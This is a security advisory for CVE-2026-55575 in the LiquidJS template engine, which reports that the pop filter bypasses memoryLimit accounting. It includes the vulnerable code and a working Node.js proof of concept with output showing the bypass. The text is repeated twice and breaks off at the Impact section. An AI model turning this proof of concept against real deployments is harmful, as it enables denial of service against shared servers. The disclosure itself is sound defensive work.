CVE-2026-55575

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.1, the pop array filter at src/filters/array.ts allocated a full clone of its input array via [...toArray(v)] without calling this.context.memoryLimit.use(...), allowing a template render such as {{ huge_array | pop }} to allocate an O(N) clone of an attacker-influenced array outside the configured memoryLimit budget. This issue is fixed in version 10.27.1.

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.1, the pop array filter at src/filters/array.ts allocated a full clone of its input array via [...toArray(v)] without calling this.context.memoryLimit.use(...), allowing a template render such as {{ huge_array | pop }} to allocate an O(N) clone of an attacker-influenced array outside the configured memoryLimit budget. This issue is fixed in version 10.27.1.

pop filter bypasses memoryLimit accounting that its array-filter siblings enforce

CWE: CWE-770 (Allocation of Resources Without Limits or Throttling) — sibling class of GHSA-8xx9-69p8-7jp3 and GHSA-2546-xv4c-mc8g, applied to memoryLimit instead of renderLimit

Summary

The pop array filter at src/filters/array.ts:91-95 allocates a full clone of its input array via [...toArray(v)] but does not call this.context.memoryLimit.use(...) the way every other array-clone filter in the same file does (shift, unshift, compact, concat, reverse, sample, slice, map, sortBy, where, group_by, uniq). This silently disables the memoryLimit budget for {{ huge_array | pop }}, letting a template render allocate an O(N) clone of an attacker-influenced array regardless of how strictly memoryLimit is set.

Affected

• liquidjs ≥ all versions that ship the current pop filter implementation (verified 10.27.0, HEAD a8fd734b5)
• Deployments where any template uses {{ arr | pop }} on an array whose length is influenced by untrusted input (typical multi-tenant context arrays: orders, log lines, catalog entries, user lists, etc.)

Vulnerability details

Code

src/filters/array.ts:91-95:

export function pop<T> (v: T[]): T[] {
  const clone = [...toArray(v)]   // O(N) allocation — not charged to memoryLimit
  clone.pop()
  return clone
}

Note: the function signature does not even declare this: FilterImpl, so it has no typed access to this.context.memoryLimit at the type level — a visual tell that the author skipped the limit-accounting boilerplate the surrounding filters use.

Compare with shift (src/filters/array.ts:97-103), which is functionally identical except for the array-end operated on:

export function shift<T> (this: FilterImpl, v: T[]): T[] {
  const array = toArray(v)
  this.context.memoryLimit.use(array.length)   // ← guard present
  const clone = [...array]
  clone.shift()
  return clone
}

And unshift, compact, concat, reverse, sample, slice, map, sortBy, where, group_by, uniq — all of which also charge memoryLimit.use(array.length) (or lhs.length + rhs.length etc.) before allocating their working buffer.

The asymmetry confirms pop is an accidental omission, not by design.

Why the bypass matters

memoryLimit is the documented control for bounding the memory a single render() call may allocate (docs/source/tutorials/dos.md). Every array-output filter in src/filters/array.ts other than pop deducts its working set from the limit, so a render that does {{ huge | shift }} with memoryLimit: 100 and huge.length === 5_000_000 correctly throws memory alloc limit exceeded. The identical {{ huge | pop }} does not throw — the allocation proceeds, and the only ceiling is the Node process's heap.

Proof of concept

const { Liquid } = require('liquidjs');

const l    = new Liquid({ memoryLimit: 100 });        // 100-unit budget
const huge = Array(5_000_000).fill('x');              // 5M-element context array

(async () => {
  try { await l.parseAndRender('{{ a | shift | size }}', { a: huge }); }
  catch (e) { console.log('shift:   ' + e.message); }      // expected: memory alloc limit exceeded

  try { await l.parseAndRender('{{ a | unshift: 0 | size }}', { a: huge }); }
  catch (e) { console.log('unshift: ' + e.message); }      // expected: memory alloc limit exceeded

  const out = await l.parseAndRender('{{ a | pop | size }}', { a: huge });
  console.log('pop:     OK, size=' + out);                  // size=4999999 — allocation succeeded
})();

Observed (against dist/liquid.node.js at a8fd734b5):

shift:   memory alloc limit exceeded, line:1, col:1
unshift: memory alloc limit exceeded, line:1, col:1
pop:     OK, size=4999999

Impact

• memoryLimit does not bound pop allocations. Any template that can reach `{{ <untrusted-sized array> | pop…

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.1, the pop array filter at src/filters/array.ts allocated a full clone of its input array via [...toArray(v)] without calling this.context.memoryLimit.use(...), allowing a template render such as {{ huge_array | pop }} to allocate an O(N) clone of an attacker-influenced array outside the configured memoryLimit budget. This issue is fixed in version 10.27.1.

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.1, the pop array filter at src/filters/array.ts allocated a full clone of its input array via [...toArray(v)] without calling this.context.memoryLimit.use(...), allowing a template render such as {{ huge_array | pop }} to allocate an O(N) clone of an attacker-influenced array outside the configured memoryLimit budget. This issue is fixed in version 10.27.1.

pop filter bypasses memoryLimit accounting that its array-filter siblings enforce

CWE: CWE-770 (Allocation of Resources Without Limits or Throttling) — sibling class of GHSA-8xx9-69p8-7jp3 and GHSA-2546-xv4c-mc8g, applied to memoryLimit instead of renderLimit

Summary

The pop array filter at src/filters/array.ts:91-95 allocates a full clone of its input array via [...toArray(v)] but does not call this.context.memoryLimit.use(...) the way every other array-clone filter in the same file does (shift, unshift, compact, concat, reverse, sample, slice, map, sortBy, where, group_by, uniq). This silently disables the memoryLimit budget for {{ huge_array | pop }}, letting a template render allocate an O(N) clone of an attacker-influenced array regardless of how strictly memoryLimit is set.

Affected

• liquidjs ≥ all versions that ship the current pop filter implementation (verified 10.27.0, HEAD a8fd734b5)
• Deployments where any template uses {{ arr | pop }} on an array whose length is influenced by untrusted input (typical multi-tenant context arrays: orders, log lines, catalog entries, user lists, etc.)

Vulnerability details

Code

src/filters/array.ts:91-95:

export function pop<T> (v: T[]): T[] {
  const clone = [...toArray(v)]   // O(N) allocation — not charged to memoryLimit
  clone.pop()
  return clone
}

Note: the function signature does not even declare this: FilterImpl, so it has no typed access to this.context.memoryLimit at the type level — a visual tell that the author skipped the limit-accounting boilerplate the surrounding filters use.

Compare with shift (src/filters/array.ts:97-103), which is functionally identical except for the array-end operated on:

export function shift<T> (this: FilterImpl, v: T[]): T[] {
  const array = toArray(v)
  this.context.memoryLimit.use(array.length)   // ← guard present
  const clone = [...array]
  clone.shift()
  return clone
}

And unshift, compact, concat, reverse, sample, slice, map, sortBy, where, group_by, uniq — all of which also charge memoryLimit.use(array.length) (or lhs.length + rhs.length etc.) before allocating their working buffer.

The asymmetry confirms pop is an accidental omission, not by design.

Why the bypass matters

memoryLimit is the documented control for bounding the memory a single render() call may allocate (docs/source/tutorials/dos.md). Every array-output filter in src/filters/array.ts other than pop deducts its working set from the limit, so a render that does {{ huge | shift }} with memoryLimit: 100 and huge.length === 5_000_000 correctly throws memory alloc limit exceeded. The identical {{ huge | pop }} does not throw — the allocation proceeds, and the only ceiling is the Node process's heap.

Proof of concept

const { Liquid } = require('liquidjs');

const l    = new Liquid({ memoryLimit: 100 });        // 100-unit budget
const huge = Array(5_000_000).fill('x');              // 5M-element context array

(async () => {
  try { await l.parseAndRender('{{ a | shift | size }}', { a: huge }); }
  catch (e) { console.log('shift:   ' + e.message); }      // expected: memory alloc limit exceeded

  try { await l.parseAndRender('{{ a | unshift: 0 | size }}', { a: huge }); }
  catch (e) { console.log('unshift: ' + e.message); }      // expected: memory alloc limit exceeded

  const out = await l.parseAndRender('{{ a | pop | size }}', { a: huge });
  console.log('pop:     OK, size=' + out);                  // size=4999999 — allocation succeeded
})();

Observed (against dist/liquid.node.js at a8fd734b5):

shift:   memory alloc limit exceeded, line:1, col:1
unshift: memory alloc limit exceeded, line:1, col:1
pop:     OK, size=4999999

Impact

• memoryLimit does not bound pop allocations. Any template that can reach `{{ <untrusted-sized array> | pop…